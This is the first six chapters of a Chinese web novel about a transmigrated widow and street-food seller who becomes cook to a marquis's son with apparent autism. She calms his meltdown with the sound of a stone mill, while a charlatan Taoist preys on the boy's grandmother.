《厨娘带崽,侯府满门跪求我留下》
第1章 病重
暮色四合,华灯初上,城门口的人影渐渐稀疏。
晚风卷着寒意,刮得人脸颊发疼。归家的行人裹紧衣袍,步履匆匆。
沈令薇正准备收摊时,摊子前忽然多出来一道人影。
“一个蛋烘糕,麻烦快些。”
来人是个青衣小厮,衣着体面,大概是小跑过来的,有些喘,口鼻前呼出一团团白气。
“好嘞,这就好。”
沈令薇嘴上应着,手里动作麻利。
只见她手腕一抬,那金黄的饼子在半空中利落的翻了个身,又稳稳落回板心。
她飞快的用油纸包好,递给那小厮:“刚出锅,仔细烫。”
小厮付过银子,客气的道谢。那混合着鸡蛋的浓香直往鼻子里钻,勾得他喉咙一动,忍不住张嘴就要咬下去——
“陈石头!”
“磨蹭什么呢?道长还在车上候着,若是耽搁了二少爷的诊治,看老夫人不剥了你的皮!”
只见不远处的马车上,正立着个裹着厚袄的婆子,朝这边厉声呵斥。
被唤作陈石头的青衣小厮,顿时一个激灵,忙把蛋烘糕往怀里一揣,点头哈腰地小跑过去。
“这就来!张嬷嬷,这就来!”
不过眨眼的功夫,马车就融入昏暗的街道。
沈令薇远远地瞥了眼,那车辕上隐约雕刻着繁复的花纹,拉车的骏马也油光水滑。
一看就是大户人家。
沈令薇收回目光,脸上没什么表情,利落地收拾着炉火和家伙什,准备动身回家。
“沈娘子,今儿又是头一个收摊?”
一旁卖炊饼的孙嫂子探出半个身子,语气有些酸。
“你这蛋烘糕可香得很,天天卖得精光,可不像我,还有大半筐没动呢。”
沈令薇手上动作没停,闻言笑了笑:“婶子说笑了,我就这几炉,卖完就收,哪比得上您的炊饼实在,老主顾认的就是这口老面味儿,我可学不来。”
孙嫂子脸上松快了些,叹道:“也是,你也不容易,带这个病秧子丫头,能挣口饭吃就不错了,安安好些没?要是缺啥,跟嫂子说。”
“劳嫂子惦记,好多了,就是还得仔细养着。”沈令薇笑应道,已经把家伙什都装上了板车。
“嫂子,您也早点收摊,天冷。”
“哎,好,慢着点!”
沈令薇应了一声,拉起板车,朝家里走去。
她是穿越来的,刚满半年。
原身是个寡妇,家乡遭了大水,带着五岁的女儿上京谋生,半路饿死在倒春寒里。
沈令薇醒来时,身边有一个瘦成皮包骨的女孩,烧的滚烫,喊娘都喊不出。
后来,是城门口有大善人施粥,她和女儿才得以捡回一条命。
此后,她便在城门口摆了个摊子,专门卖些小吃糊口,顺便照看女儿安安。
沈令薇想着,等安安身体好一些,便攒钱开间铺子,省得风里来雨里去。
快到家时,天色已经黑了下来。
隔壁刘婶子看到她,急忙迎上来。
“哎哟令薇,你可算回来了,安安出事了!”
沈令薇心口一坠,板车把手‘哐当’一声掉在地上。
“安安怎么了?”
“还不是见你摆摊辛苦,趁你不在家,自己拎着小木桶去井边打水,冰面滑,一脚就摔了!回来就发起了高热,整个人都烧糊涂了!”刘婶子道。
沈令薇脑子一空,什么也顾不上,当即就往屋里冲。
狭小昏暗的屋里,有一张土炕,上面已经没有了温度。
一个约莫四五岁的女童正缩在被子里,小身子有些发抖,下巴尖尖的,半张脸烧得通红,嘴唇也干得起皮,正迷迷糊糊说着呓语。
“娘…不累…安安帮娘…打水…不辛苦…”
沈令薇伸手去探她额头,顿时烫得一缩!
怎的这么烫?
那温度,像是一下子烫进了沈令薇心窝里。
“安安,娘回来了!”
刘婶也跟着进屋:“我发现的时候就晚了!喊她她也不应,就只叨念你,我也不敢乱动,就只能等着你回来!”
沈令薇心疼的一句
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话都说不出来。
她迅速脱下身上的棉袄,裹住安安的身子,轻轻抱起来,只露出小脸。
“刘婶,车子麻烦你帮我推进来,我送安安去医馆。”
“哎,你放心去,这儿有我呢!”
沈令薇已经跨出门槛。
怀里的小女孩,烧得像个火炉,隔着厚厚的棉袄,那湿度还是固执的透过来,贴着胸口,一下又一下。
她把孩子往怀里拢了拢,加快脚步。
杏林堂的门虚掩着,里头还亮着灯。
坐诊的老大夫一番诊治过后,神色凝重道:“风寒入肺,底子又虚,若是再晚来一步,人就烧糊涂了。”
“大夫,求您,一定要治好安安,无论付出什么代价!”沈令薇声音哽咽。
老大夫指挥她把安安放在榻上,经历了一番银针,汤药,热敷等……
一直折腾到将近子时,安安的呼吸才逐渐平稳,烧也退了一些。
老大夫洗净手,落座道:“命是捡回来了,但这孩子亏空太久,后续汤药不能断,诊金加药钱,一共一两二钱银。”
沈令薇从怀里掏出一个荷包,连同今天卖蛋烘糕的碎银,一起数了数,还差半两。
她犹豫一瞬,“……大夫,我……暂时只有这些,您看能不能宽限我几日?我一定补上。”
老大夫认得她,闻言叹了一声,把药包推过去:“就给你赊三日,记住,孩子的药,断不得。”
沈令薇眼眶发烫,连连道谢,之后带着安安离开医馆。
夜晚的风十分凌冽,刮得人脸生疼。
沈令薇抱着安安往回走,心里像压着块巨石。
家里已经山穷水尽,连明天做蛋烘糕的材料都没有。三日内,上哪里去凑齐半两银子?
沈令薇心里装着事,回到家时已是深夜。
她把安安安顿好,刚想合眼眯一会儿,结果外头突然响起了敲门声,十分急促。
“咚咚咚!”
“沈娘子!沈娘子在家吗?”
沈令薇一怔,这声音……好像在哪儿听过。
第2章 能再做一份吗?现在
她赶紧穿好衣服,拉开门一看,竟然是傍晚朝他买蛋烘糕的那个青衣小厮。
“沈娘子!可算找着您了。”陈石头抹了把汗。
“能请您再做一份蛋烘糕吗?就现在!”
说完,他掏出一个布包递过来:“这是一两银子,您先拿着。”
沈令薇下意识地拒绝,“这太多了……”
“沈娘子先别拒绝,我们府上的二少爷病了好些时日,太医都束手无策,好几天水米未进了,方才小的揣着蛋烘糕回府,被二少爷闻着了味儿,差点挨了板子,结果你猜怎么着?二少爷竟开口要尝,吃完一整个,还要吃!”
陈石头说着,眼眶都红了。
“二少爷从小就跟常人不一样,不说话,也不搭理人,对吃食极为苛刻。方才主动要吃蛋烘糕,老夫人大喜,特命我连夜来找您,我可是问了好多摆摊的街坊,才寻到您这处。”
沈令薇一怔。
不说话,不理人,对吃食挑剔?
她心里隐约闪过一个念头。但没多问,只是从包里取出十文钱,剩下的退回去。
“一个蛋烘糕我只卖十文钱,你这一两银子太多了,我收不得。”
陈石头赶忙推回去:“这可使不得,这大半夜的,我把您从被窝里叫起来,这是您应得的辛苦钱,千万莫要推辞!”
“可……”
“沈娘子!”陈石头打断她,声音哽咽:“您是不知道,我们二少爷已经许久没好好吃过东西了,今儿这一口蛋烘糕,在老夫人眼里,可比什么山珍海味都珍贵,您要是把银钱退回去,老夫人这心里也会过意不去。您就当……让我为侯府尽尽心,成吗?”
“侯府?”沈令薇愕然,“敢问,贵府是哪个侯府?”
陈石头:“我家侯爷,乃世袭定远侯,兼当朝首辅,裴谨之。”
沈令薇怔住!
若她没记错的话,当初她和女儿快要活不下去时,在城门口施粥的,好像就是定远侯裴家。
竟是恩人之家。
沈令薇垂眸,胸口似被什么东西轻轻划了一下。
“那劳烦小哥稍坐,我这就准备。”
她转身进了灶房,很快开始忙碌,烧水,洗手和面。
不多时,蛋烘糕出锅,金黄软嫩,香气扑鼻。
沈令薇没停手,又另起一灶,蒸了两块茯苓糕。
山药和茯苓,健脾养胃,最适宜久病体虚之人。
半个小时后,沈令薇把东西装进食盒里。
“这份是蛋烘糕,另外两样,您带回去给府上的管事瞧瞧。”
她没说直接给二少爷,用与不用,得侯府的主子们决定。
陈石头欢喜地接过,并道谢。
沈令薇想了想,叮嘱道:“二少爷久病,脾胃定然虚弱,一下子吃太多蛋烘糕,怕克化不了,这两样东西不值什么银钱,是我的一点心意,若小主子能入口,那自然最好,若入不了,也不打紧,权当我祝贵府二少爷早日康复!”
陈石头捧着食盒,心里五味杂陈。
他自二少爷出生起就跟在身边,见惯了巴结讨好,趁机抬价的,头回见着收了钱还退,做了吃食还附赠,替病人着想的。
“沈娘子放心,您这份心,我陈石头记下了。话我一定带到。”
-
接下来几日,沈令薇依旧去城门口摆摊,可却突然遇到了麻烦。
腊月里,官府要清理街道,全城的流动摊贩都得挪。
沈令薇亲眼瞧见,有几个不配合的馄饨摊子直接被掀翻,汤水洒了一地。
她不敢逗留,急忙推着板车逃回家。
路上,都是三三两两的小贩聚在一
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起骂骂咧咧,有的摊子被砸,蹲在地上捡碎菜叶子,还有被踩烂的货物,欲哭无泪。
祸不单行,刚到家门口,又碰到房东娘子。
“我儿子下个月成亲,这房子得收拾出来当聘礼,你收拾收拾,另外找地方住吧。”
这个消息,无异于晴天霹雳。
“这……也太突然了!”沈令薇怔住。
“大娘,你看我带着孩子,身子还弱,能不能宽限些时日,等找到合适的,立马搬。”
房东脸色有些不愉:“最多三日,多一天都不行,你说你带着个病秧子,天天汤药味熏着我这屋,我没嫌你们晦气就不错了。”
房东说完,就急吼吼的离去。
沈令薇站在原地,眉头拧在一起。
她当初租这房子本就是图便宜,靠城门口也近。
可如今这一时半会儿的,上哪儿去找合适的房子?
更何况,兜里也要见底了,根本没那么多银两再重新租屋子。
接下来三日,她把整个城南跑了个遍,都没找到合适的屋。
要么太偏,往来人员鱼龙混杂,夜里也有醉汉游荡。要么租金贵得离谱。
第四日一早,房东准时上门催。
“搬不搬?不搬我帮你扔?”
沈令薇抱着安安,恳请再宽限几日,确实没找到合适的屋子。
结果房东根本不给她机会,抬手招来两个大汉:“进屋,把东西都扔出来!”
两个汉子进屋,一阵翻箱倒柜,把锅碗瓢盆扔得满地都是,连同沈令薇先前的旧书,也散落在泥里。
“把这些破烂,全都扔了!”
房东双手叉腰,正指挥下人要扔掉沈令薇的箱笼。
就在这时——
“住手!”
却见一辆豪华的马车由远及近,正疾驰而来。
第3章 带着女儿一起
沈令薇看见这熟悉的马车,心下一紧。
是陈石头,身后还跟着个穿戴体面的婆子。
陈石头跳下马车,看见满地的狼藉,脸色当即沉下来;“这是干什么?”
房东上下打量着他:“你谁啊?”
陈石头没理她,径直走到沈令薇面前,行了一礼:“沈娘子,可算找到您了!”
房东愣住了!
街坊们交头接耳,猜测陈石头的身份。
陈石头转身亮出一块腰牌:“看清楚了,定远侯府的!”
“沈娘子是侯府的客人,今后她的住处,侯府管了!”
房东脸色一变,忙堆起笑:“原来是侯府的贵人,哎呀,误会,这都是误会呀。”
陈石头却没理会房东,转而朝沈令薇道:“沈娘子,小的奉老夫人之命,请您入府,二少爷吃了您的东西,身子有了起色,可府上的厨子做不出那个味道,二少爷又不肯吃了。
老夫人说了,请您入府住些日子,给您单独安排住处,月银五两,管吃管住。”
这待遇,把周遭的街坊们都惊了一跳。
要知道,就算会识文断字的账房先生,月银也不过才二三两银,还算是高的了。
这沈令薇不过做些吃食,竟然就高达五两!
这无异于天降横财。
在场不少人都酸得冒泡,恨不得上前推销自己。
这时,张嬷嬷亲自上前来:“沈娘子,入府后,您只管二少爷的饮食,不用做粗活,若是同意,现在就可以上车。”
沈令薇低头,看着怀里的安安。
五岁的小女孩,眼睛亮晶晶的,带着一丝怯意,还有向往。
片刻后,她抬头,朝张嬷嬷行了一礼。
“嬷嬷,我只有一个条件。”
“你说。”
沈令薇紧了紧怀里的安安:“我要带着女儿一起。”
张嬷嬷愣了一下,目光落在瘦小的安安身上。
安安下意识往母亲怀里躲了躲,但在沈令薇的眼神鼓励下,又挺直了身子。
周围的街坊又开始议论:“带着拖油瓶入侯府?人家能答应?”
“就是,侯府是什么地方?还能带着孩子?”
张嬷嬷沉默片刻,点了点头;“成,孩子你带着,老夫人跟前,老身去说。”
沈令薇心里一松;“多谢嬷嬷。”
紧接着,张嬷嬷又跟她交代了一些规矩,沈令薇一一应下。
……
随着马车缓缓驶离,沈令薇带着女儿,也终于离开这个她生活了半年的地方。
马车上,张嬷嬷给她讲解了一些侯府的主要情况。
定远侯府,世袭罔替,如今的侯爷裴谨之,是当朝首辅,平日公务繁忙。
侯府的主母五年前难产去世,留下三子,长子裴朔,7岁。
次子裴恪,和幼子裴野,是一对双胞胎,5岁。
定远侯和亡妻伉俪情深,加之忙于公务,一直未能续弦,故而,如今侯府中馈由大房夫人白氏打理。
老夫人是最高长辈,年事已高,只为三个孙儿操心。
张嬷嬷说得最多的,就是即将要伺候的小主子,二少爷裴恪。
他打小就对食物敏感,挑食得厉害,幼时连乳母的奶都不喝在,是吃羊奶长大的。不爱说话,对外界的人和事都没什么兴趣,且对声音、气味都格外敏感。
静和苑二十丈内不允许点香,旁人靠近或者触碰,都极易引发反抗和攻击。
这次病的厉害,厌食到太医都束手无策,甚至隐约表示侯府可以准备后事。
侯府花重金,打听到了江湖术士胡大师的下落,邀其入府诊治,刚有了起色,可这两日又开始绝食,老夫人实在没法子,这才想起了沈令薇。
张嬷嬷说到这儿,语气透出几分心疼:“咱们的二少爷,也是个苦命人。府里除了老夫人、侯爷和贴身伺候的几个人,旁人靠近半步,他都要闹上好一阵子。所以,你以后当差,尽量别往主院那边去,免得刺激到二少爷,明白吗?”
沈令薇点头,心头却疑心渐起。
她基本上可以断定,这侯府的二少爷,应该就是孤独症。
她在现代做特教老师时,接触过不少这样的孩子。孤僻,敏感,挑食,脾胃虚弱,对声音和气味敏感,做事刻板,一旦规律被打破,就会情绪崩溃……
裴恪的症状,简直如出一辙。
“张嬷嬷,”沈令薇斟酌着开口:“二少爷平日吃食上,可有哪些讲究?”
张嬷嬷表情微微一滞,有些讳莫如深:“我回头让人拟好单子,晚点给你,你需得背下来,千万别犯了忌讳,明白吗?”
沈令薇没多想,点头道:“好,多谢嬷嬷提点。”
张嬷嬷应的爽快,心下稍安。
但很快,沈令薇就明白,张嬷嬷那表情,代表的是什么含义了。
下人给的单
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子,足足列了十几页,全都是裴恪的各项禁忌。从衣食住行,到对周遭环境的苛刻要求,包括给他送饭的人,身上都不得擦香,不能有皂角味,他所规定的禁区,任何人不得擅自闯入。
没有一条写‘他喜欢什么’。
只有‘他不能接受什么’。
给沈令薇的感觉就像是,这是一份给‘异类’量身定制的避雷手册。是侯府花了五年时间,用无数失败的厨子,崩溃的下人,一次又一次的情绪爆发,一点点试错,一条条记录下来的。
很窒息。
他们不是在教她如何做饭,而是教她,如何在一个随时可能引爆的孩子身边,活下来,还不出错。
沈令薇合上单子,沉默了良久。
安安凑过来,小声问:“娘,这个哥哥好难伺候呀。”
沈令薇低头,笑了笑:“不是难伺候。”
她把安安揽进怀里,目光落在窗外:“只是大家还没找到,走进他世界的那扇门。”
安安似懂非懂:“那娘能找到吗?小哥哥的世界,是什么样子的呀?”
沈令薇揉了揉女儿的发顶,指着单子上的一行字,问:“你看这里写着,他从不与人对视,你知道为什么吗?”
安安摇头。
“因为这个哥哥的眼睛,比别人的亮,他看东西的时候,会比我们看得更清楚,听得更明白。风刮过窗纸的声音,在我们听来,只是‘呼’的一下,但在他耳朵里呀,可能就有打雷那么响。”
安安睁大了眼睛,满脸不可思议。
“他只是活得太累了,每一天,每一刻,都有我们感觉不到的东西,在冲击着他,所以他要把自己关起来,定很多很多规矩,才能让自己稍微舒服一点。”
安安似懂非懂,过了好一会儿才小声问:“那……我们能帮帮他吗?”
沈令薇握着手里这份沉甸甸的‘禁忌清单’,目光微动。
“能!”
“只要有人愿意去懂他。”
现代也有很多孤独症康复的案例,她虽不清楚裴恪的具体情况,但所有的‘不能’,背后都是未被理解的‘需要’。
耐心和用心,永远会是最好的钥匙。
正说着,门外传来一阵脚步声,陈石头的嗓音飘了进来。
“沈娘子,二少爷醒了,这会儿病恹恹的,张嬷嬷让小的来通禀一声,您看……能不能先做些清淡的吃食送过去?”
第4章 失控
沈令薇起身,嘱咐安安不要乱跑,很快动身去了厨房。
为了照顾裴恪的饮食,这里的厨房是为静和苑单独开辟的,设施和食材种类,都相当齐全。
厨房里,三个婆子正在唠嗑,为首的婆子三角眼,四十来岁,腰间挂着银牌,一看就是掌勺。
见沈令薇到来,空气静了一瞬。
“你就是那个新来的?听说是在外头摆摊卖小吃的?”一个瘦脸婆子酸不溜啾的开口。
另一个圆脸婆子也接话:“二少爷的吃食可不是闹着玩的,摆摊的都能进厨房了?咱们在这儿干了三年,倒还不如一个外头的。”
“谁叫人家运气好,碰巧入了二少爷的口,还真当自己是厨娘了,年轻人嘛,撞撞南墙就知道深浅了。”
两人一唱一和,话里全是挤兑。
沈令薇没说话,走向灶台。
陈石头在一旁呵斥:“都少说两句,二少爷醒了,要吃东西,老夫人说了,谁要能让二少爷吃上几口,就有赏!”
几个婆子忙精神一震:“是,我们这就做!”
一时间厨房忙活起来。
沈令薇走向其中一个灶台,却被一个婆子用力挤到一边,占了位置。
她没说话,转向另一口灶,结果也被另一个婆子把锅架在了上面。
三个婆子,分别占据了最大的灶,手里切着菜,嘴角挂着冷笑。
竟是要联合起来给她一个下马威。
陈石头在一旁看得直皱眉:“沈娘子,我这就去知会张嬷嬷……”
“不用,”沈令薇打断她:“你先去忙吧,这儿我能搞定。”
往后要在侯府立足,这种场面迟早得自己应对。
陈石头还想说什么,对上她的眼神,又把话吞了回去。
“那行,我就在二少爷房里,要有什么事,你直接让丫鬟来找我。”
几个婆子见状,神色越发鄙夷,又嘲讽了几句。
沈令薇并没有与她们争执,也没再去那几个灶台,而是走到角落,找了块干净的抹布,擦干净灶台,又拿旁边的空水桶去缸边打了水,动作利落又从容。
几个婆子瞥见,各自在心底嗤笑。
这冷灶慢火的,等她做好,二少爷早就饿坏了。
可沈令薇根本就没架锅,反而从随身带来的布包里,取出一个小瓦罐,这是她摆摊时用来保温的家伙,她早已经将泡好的稻米,山药泥一并放入瓦罐中,外头又裹了层厚厚的棉布,直接将瓦罐塞到掌勺厨娘的余火膛里。
掌勺的刘厨娘忙着做点心,也没留意。
做完这一切,她又取了茯苓粉,用温水调好,放在自己那冷灶台上,借着刘厨娘灶台的余温,慢慢蒸着茯苓糕。
半个时辰后,送餐婢女前来取餐。
刘厨娘做了一盅乳鸽山药羹,汤色清亮,鸽肉细碎,还配上几粒枸杞,卖相极好。
“刘嫂子这手艺,真是没的说!”瘦脸婆子赞不绝口,“这道汤,二少爷肯定爱喝。”
“可不是,上回二少爷喝了一小碗,这次说不定能喝一整碗呢。”另一个婆子接话。
刘厨娘擦擦手,下巴抬了抬,目光落到沈令薇身上。
沈令薇已经掏出那个瓦罐,棉布揭开,一股米香混合着山药的清甜弥漫开来。
几个婆子皆是一怔。
她什么时候做的?
“那灶膛,不是刘嫂子的吗?”
沈令薇并没理会几人黑成锅底的脸色,从容的从冷灶台端下一屉茯苓糕,放在婢女小翠的盘子里。
“这粥有些烫,记得凉一凉再给二少爷喝。”
小翠接过食盒,点点头,刚走两步,突然脚步一顿,弯腰捂着肚子。
“哎哟,我的肚子!”
“哟,这是怎么了?”刘厨娘急忙上前询问。
小翠额头渗出冷汗,“我……我突然肚子疼,得去趟茅房。”
刘厨娘等人脸色一白。
二少爷不喜冷食,这要耽搁了,万一二少爷不肯入口,老夫人怪罪下来,该如何是好?
这时,瘦脸婆子余光掠过沈令薇,飞快的闪过一抹算计,故作焦急的开口:
“哎呀,这可如何是好,哪儿能让二少爷饿着?”
她转向沈令薇,道:“沈娘子,左右不过才几步路,要不今日就劳你亲自送一趟?”
另一个婆子眼珠一转,也附和:“是啊,你亲自送也显得有诚意,二少爷若是吃着合口,老夫人定有重赏。”
沈令薇在心底冷笑。
张嬷嬷早就交代过,二少爷最厌生人,这两个婆子一味地怂恿她,其心可诛。
可若她此时不送,一旦上面怪罪下来,面前有三张嘴,定会倒打一耙。结果可想而知。
所
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以即便明知前方是坑,也不得不去。
沈令薇淡淡颔首,从小翠手里接过食盒:“无妨,我去送。”
刘厨娘等人眼底齐齐闪过得意,还假意叮嘱了几句。
静和苑在侯府东北角,地处幽静。院墙是青砖实砌,比寻常院墙高出一截,窗棂也开得又高又窄。
明明是侯府院落,却透着一股子与世隔绝的疏离感。
沈令薇刚走到门口,就听见屋里‘哐当’一声巨响,像瓷器摔碎的声音。
“不好了!二少爷又失控了!”
几个绿衣丫鬟捂着头,惊慌地跑出来。沈令薇一时不察,手里的食盒差点被撞翻。
院门虚掩着,几个丫鬟远远站在廊下,一个个脸色煞白,谁也不敢靠近。
屋里不断地传来打砸声。
“快……快去请老夫人,还有请胡大师过来。”一个丫鬟带着哭喊。
沈令薇放下食盒,往里走了几步。
透过门缝,她看见一个小小的身影,五六岁的模样,瘦成了一把骨头,锦袍穿在身上空荡荡的,正缩在角落里,双手死死捂着耳朵,整个人在剧烈颤抖,喉咙里发出幼兽般的低吼。
他的面前,碎了一地的瓷片,一个丫鬟瘫坐在门外,手背上划了一道血口子,正瑟瑟发抖。
不一会儿,又一个身影从屋里跑出来,竟是陈石头,他额头上还肿起一个大包,正往外渗着血珠子。
见到沈令薇,他脸色一变:“沈娘子!?你怎么来了?快走!二少爷这会儿谁都不认,小心误伤了你。”
沈令薇没动。
她看着屋里那小小的身影,胸口像被什么东西堵住。
他不是‘发疯’。
是在求救。
“刚才不是还好好的?怎会忽然这样?”
陈石头抹了把额头上的血,急道:“我也不知道,刚才伺候穿衣服的时候还好好的,结果衣服刚换好,突然就这样了。”
沈令薇盯着屋里,裴恪还在宣泄,打砸,像失控的幼兽。
他快撑不住了!
等他崩溃,就会彻底把自己封闭起来,到那时,谁也别想走进他的心里。
沈令薇目光迅速环顾四周,目光很快落在一块废弃的石磨上。
“快!把那个搬出来,让人架上。”
陈石头顺着她手指的方向一看,顿时脸色大变。
第5章 相信我
“不行,沈娘子,二少爷最忌讳声音,这磨盘一响,他会受不住的!”
“那他现在这样,就受得住吗?”沈令薇反问。
陈石头一噎。
“快点!来不及了!”沈令薇催促道。
见陈石头还在犹豫,沈令薇抓住他的胳膊,语气不容置疑:“陈石头,相信我!”
陈石头对上她的眼睛,愣住了。
沈令薇的眼神,太稳了。
稳得不像一个刚来侯府的外人,这样的眼神,他只在侯爷眼里见到过。
“可是……可是万一……”
“没有可是!”沈令薇斩钉截铁:“等老夫人和大夫前来,一切都晚了。”
最终,陈石头一咬牙,招呼两个小厮上前,搬磨。
屋里,裴恪的呜咽声越来越弱,呼吸也越来越急促。
是窒息的前兆。
就在这时——
“咕隆……咕隆……”
一道沉闷,厚重,不尖不躁的声音,像远古的碾盘碾过谷物,从地底深处传来,穿透空气,也穿透了那扇敞开的门。
裴恪的身体微微一僵。
那声音就像一根线,突然刺入他混沌的灵台。
裴恪眼睛动了动,依旧有些涣散。
又有一声。
“咕隆……咕隆……”
这一次,声音更清晰了些,一声一声,带着稳定的节奏。
裴恪原本痛苦,涣散的双眼,微微闪烁了一下。捂着头的手也松开了一些。
屋外,满院子的下人,瞬间全都屏住呼吸,大气都不敢出。
沈令薇目不斜视,盯着磨盘,指挥下人继续,自己则从餐盒里找出一只银勺,轻轻敲打在石磨的铁环上,声音清脆,和沉闷的石磨声交织在一起。
“咕隆……叮……咕隆……叮……”
若是仔细听,就会发现,这段声音,富有一定的节奏,和规律。
沈令薇研究过,孤独症患儿,往往存在前庭系统失调,而类似于石磨声,摆钟声等,这类恒定,有节奏的听觉刺激,能通过前庭同路传递到小脑,帮助调节过载的感官输入。
从而让神经系统从‘战斗或逃跑’的应激状态,慢慢过渡到‘休息与消化’的平静状态。
果然,裴恪逐渐安静下来,缓缓抬起头,虽然眼睛通红,脸上全是泪痕,但已经没了方才那种野兽般的光芒。
原本空洞的眼睛也慢慢焦聚,顺着声音的方向看过去。
院子里,那口巨大的石磨还在转动。
裴恪盯着转动的磨盘,目光像是被什么东西给定住。
而沈令薇也终于看清了裴恪的那张小脸,霎时间呼吸一窒!
这张脸……
还没等她反应过来,裴恪又很快偏头缩回去。
她赶紧继续指挥下人,“快!将床上的被子,抱到二少爷身边。”
一众下人战战兢兢,没人敢上前。
二少爷好不容易安静下来,没人敢这个时候冒头。
就在此时,院门口响起一阵急促的脚步声,还有一声焦急的哭喊:
“恪儿!我的乖孙啊……”
只见一位身穿绣着缠枝玉兰花锦袍的老妇人出现在门口,头戴点翠金簪,通身华贵,可眼底却满是焦急,连步子都有些踉跄。
她的身后,除了张嬷嬷等一众下人,还跟着个五十出头,穿着道袍,留着山羊胡,看上去有几分仙风道骨的老者。
老夫人一踏进院子,一眼就看到了院子里的石磨,当即脸色大变。
“放肆!谁准你们在这里磨磨的,是要害死二少爷吗?”
下人们被惊了一跳,节奏差点被打乱。
好在沈令薇早有预料,抢先一步接过把手,亲自推动石磨。
老夫人正要发作,张嬷嬷眼疾手快,压低声音禀报道:“老夫人,您看二少爷!”
老夫人这才顺着目光一看,脸上的表情瞬间凝固住!
屋里,那个让她操碎了心的二孙子,此刻正坐在一片狼藉之中,没有尖叫,也没有捂耳朵,更没有把自己蜷缩成一个球。
而是正抬起头,眼睛死死的盯着院子里那口转动的石磨。
甚至,他眉头微微蹙起,像是在努力理解什么。
老夫人的呵斥卡在喉咙里,满腔的怒火迅速被震惊所取代。
印象里,二孙子什么时候允许过静和苑出现这种声音?
她身后的一众下人,包括那道士,也都目瞪口呆。
那道士名叫胡望,是个江湖术士,据说年少时在青城山遇仙,得了三卷天书,能通阴阳,断生死。京城勋贵圈子里,信他的人不在少数。
胡望看着眼前的场景,以及院子里正在磨磨的沈令薇,眼底闪过一丝不明的波动。
见裴恪终于安静下来,老夫人放轻脚步,走到门口。
“恪儿……你现在,好些了吗?”老夫人小心翼翼的开口。
裴恪像被惊着似的,猛地偏头,身体又往里缩了缩。
老夫人心疼的揪作一团,布满皱纹的脸上流下两行清泪。
“老夫人莫急。”
胡望捻着山羊胡,甩了甩手里的佛尘,神色带着几分悲悯。
“小公
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子的三魂七魄本就有所缺失,才会这般易惊易怒,异于常人,恢复自然也不是一朝一夕之功。”
老夫人捶着胸口,悲痛不已:“可我真恨不得替他来遭这罪啊,我裴家家风清正,我和老侯爷也一辈子积德行善,又怎会有此等孽债……”
“小公子此番能安静下来,全赖老夫人福泽深厚,亦是老道设置的阵法起了作用,否则,今日怕是后果不堪设想啊。”
老夫人一愣:“阵法?”
胡望抬手,指着门框上方,那里不知什么时候贴了张黄符,上面画着蜿蜒的纹路。
“三日前,老道夜观天象,见紫薇星暗,便知小公子必有波折,故而在院门外设下此镇邪符,护他周全。今日果真有邪祟趁虚而入,想夺他残魂。”
老夫人一听,顿时脸色大变:“那怎么办?道长……您可一定要想法子,救救我的恪儿啊,他还那么小……”
胡望沉吟片刻,从袖子里又取出一道符,递给张嬷嬷。
“将此符贴在二公子床头,可镇邪祟,待五日后月圆之夜,老道开坛做法,引天地灵气为他补全缺失的那一魂,届时,小公子的身子自然会慢慢好起来。”
老夫人双手接过,如获至宝。
“好,只要恪儿能好,把那邪祟赶得远远的,别再来害我的孙儿,侯府愿出两千两功德银,重修庙宇,再塑金身!”
胡望呼吸一滞,伸手虚扶一把:“老夫人言重了。”
他故作高深的掐指:“邪祟不过是钻了个空子,老道既已入府,自当尽心竭力,护小公子周全。”
老夫人悬着的心稍稍放下,扭头朝张嬷嬷吩咐:“快!去账房支五百两,给胡大师添灯油。”
张嬷嬷应声而去。
一旁,沈令薇目睹这一幕,整个人被钉在了原地。
什么魂魄缺失,紫薇星暗?
人家孩子都这样了,他还能面不改色的编出这套鬼话?
她想起在现代时,也见过不少这样的家庭,孩子确诊孤独症,父母走投无路,被人忽悠着去求神拜佛,喝符水,跳大神,几万几万的砸进去,孩子的病不仅没好,反而耽误了最佳干预期。
一个家庭遇到这样的孩子,已经是天大的不幸,可这些人却利用家长的绝望,吃人血馒头!
着实可恶!
很显然,这厮也是个谋财害命的江湖术士。
此人不除,二少爷早晚会被他害死!
可她刚入侯府还未立足,人微言轻,要怎么做,才能帮到二少爷?揭穿这道士的把戏?
第6章 警告
最后,老夫人看了看院子里的那块石磨,最后落回到沈令薇身上。
然,当她目光撞上沈令薇那张脸上时,整个人骤然僵住,瞳孔瞬间放大了十倍!
“你……你是?”她声音颤抖,满脸的不敢置信。
沈令薇赶紧行礼:“奴婢沈氏,见过老夫人。”
张嬷嬷适时地提醒:“回老夫人,上回陈石头的蛋烘糕,就是从她那儿买回来的。”
老夫人瞪大眼睛,神色一阵变换,目光从上到下,审视了沈令薇好久。
那目光,沈令薇说不上来,就像是对方明明是在看她,可又像是透过她,在看别人。
良久,老夫人轻叹一声,吩咐她起身:
“起来吧,听说你手艺不错,你做的蛋烘糕连恪儿都愿意入口,今日一见,果真是个沉稳妥帖的。”
沈令薇垂眸,“奴婢不敢居功,是二少爷自己有福气。”
她苦笑一声,眼眶又有些红:“这孩子……哪儿有什么福气。五年了,头一回有人能让他这般快速的安静下来。”
她目光多了几分打量:“这石磨……你是怎么想到的?”
沈令薇不卑不亢,道出心里早准备好的说词:“奴婢以前在老家时,曾见过村里有孩子受了惊吓哭闹不止,家里的老人就用石磨磨豆子,那孩子听着听着就不哭了,奴婢方才见二少爷难受,实在没法子,就想着……试试看。”
老夫人若有所思。
“磨豆子的声音……能让人安静?”
沈令薇点头:“乡下老人说,这声音就像是母亲的心跳,孩子听着,能安心。”
话落,屋里霎时一静。
众人有些诧异的看向沈令薇。
这个新来的厨娘,到底是真傻,还是装傻?
谁不知道,二少爷的母亲,也就是侯夫人,在生下二少爷和三少爷之后就难产去世。
如今这话,岂不是在当场揭老夫人和二少爷的伤口?
意在点明二少爷没有母亲,所以才会如此惊惧难安?
张嬷嬷脸色一变,忙上前打圆场:“老夫人,沈娘子也是情急之下随口一说,您千万别往心里去,这石磨还转着,咱不如让二少爷多静一会儿?”
边说边给沈令薇递眼色,示意她顺着自己的话接。
可老夫人却伸手一抬,神情似有触动。
“她说得对……”
满屋子的下人皆是一怔。
老夫人缓缓叹了口气,又道:“恪儿打小就没了亲娘,我总怕亏着他,怕吓着,捧在手里怕摔着,可到头来,他还是受了这么多苦……”
她看向沈令薇,眼里多了几分真切的软意。
“你是第一个说这话的人。”
“你叫什么?”老夫人问道。
“回老夫人,奴婢沈令薇。”
老夫人点点头:“听说,你还有个女儿,也跟着你一起入府了?”
